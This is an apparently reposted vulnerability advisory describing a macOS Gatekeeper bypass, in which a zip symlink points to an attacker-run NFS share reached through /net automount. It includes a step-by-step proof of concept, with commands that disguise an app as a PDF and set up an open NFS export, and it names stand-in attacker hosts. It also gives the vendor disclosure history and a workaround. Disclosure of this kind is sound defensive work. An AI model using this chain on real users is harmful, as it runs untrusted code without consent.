zoukankan      html  css  js  c++  java
  • MacOS X GateKeeper Bypass

    MacOS X GateKeeper Bypass


    OVERVIEW

    On MacOS X version <= 10.14.5 (at time of writing) is it possible to easily bypass Gatekeeper in order to
    execute untrusted code without any warning or user's explicit permission.

    Gatekeeper is a mechanism developed by Apple and included in MacOS X since 2012 that enforces code
    signing and verifies downloaded applications before allowing them to run.
    For example, if a user donwloads an application from internet and executes it, Gatekeeper will prevent it from
    running without user's consens.


    DETAILS

    As per-design, Gatekeeper considers both external drives and network shares as safe locations and it allows
    any application they contain to run.
    By combining this design with two legitimate features of MacOS X, it will result in the complete deceivement of
    the intended behaviour.

    The first legit feature is automount (aka autofs) that allows a user to automatically mount a network share just
    by accessing a "special" path, in this case, any path beginning with "/net/".
    For example
    ls /net/evil-attacker.com/sharedfolder/
    will make the os read the content of the 'sharedfolder' on the remote host (evil-attacker.com) using NFS.

    The second legit feature is that zip archives can contain symbolic links pointing to an arbitrary location
    (including automount enpoints) and that the software on MacOS that is responsible to decompress zip files
    do not perform any check on the symlinks before creatig them.

    To better understand how this exploit works, let's consider the following scenario:
    An attacker crafts a zip file containing a symbolic link to an automount endpoint she/he controls
    (ex Documents -> /net/evil.com/Documents) and sends it to the victim.
    The victim downloads the malicious archive, extracts it and follows the symlink.

    Now the victim is in a location controlled by the attacker but trusted by Gatekeeper, so any attacker-controlled
    executable can be run without any warning. The way Finder is designed (ex hide .app extensions, hide full path
    from titlebar) makes this tecnique very effective and hard to spot.

    The following video illustrates the concept

    https://youtu.be/m74cpadIPZY


    PoC

    In order to reproduce this issue, follow the steps below:

    • create a zip file with a symlink to an automount endpoint
    • mkdir Documents
    • ln -s /net/linux-vm.local/nfs/Documents Documents/Documents
    • zip -ry Documents.zip Documents
    • create an application (.app folder) with the code you want to run
    • cp -r /Applications/Calculator.app PDF.app
    • echo -e '#!/bin/bash'" "'open /Applications/iTunes.app' > PDF.app/Contents/MacOS/Calculator
    • chmod +x PDF.app/Contents/MacOS/Calculator
    • rm PDF.app/Contents/Resources/AppIcon.icns
    • ln -s /System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/GenericFolderIcon.icns PDF.app/Contents/Resources/AppIcon.icns
    • create a publicily accessible NFS share and put the .app in it
    • ssh linux-vm.local
    • mkdir -p /nfs/Documents
    • echo '/nfs/Documents *(insecure,rw,no_root_squash,anonuid=1000,anongid=1000,async,nohide)' >> /etc/exports
    • service nfs-kernel-server restart
    • scp -r mymac.local:PDF.app /nfs/Documents/
    • upload the zip somewhere in internet and download it so it gets the quarantine flag used by Gatekeeper
    • extract the zip (if needed) and navigate it


    HISTORY

    The vendor has been contacted on February 22th 2019 and it's aware of this issue. This issue was supposed to be addressed, according t
     the vendor, on May 15th 2019 but Apple started dropping my emails.
    Since Apple is aware of my 90 days disclosure deadline, I make this information public.


    SOLUTION

    No solution is available yet.

    A possible workaround is to disable automount:

    • Edit /etc/auto_master as root
    • Comment the line beginning with '/net'
    • Reboot



    REFERENCES

    https://fcvl.net/
    https://www.fcvl.net/vulnerabilities/macosx-gatekeeper-bypass


    CREDITS
    Filippo Cavallarin
    filippo.cavallarin@wearesegment.com

  • 相关阅读:
    PHP中使用CURL实现GET和POST请求
    ecstore关于smarty语法调用
    Linux 定时任务详解
    fzu 1753 Another Easy Problem
    zoj 2562 More Divisors
    poj 2992 Divisors
    UVA10078多边形判断凹凸性
    UVA10002求凸包的质心
    UVA10088多边形内整点个数计算(计算几何)
    HDU 1824 简单2-sat
  • 原文地址:https://www.cnblogs.com/iAmSoScArEd/p/10996794.html
Copyright © 2011-2022 走看看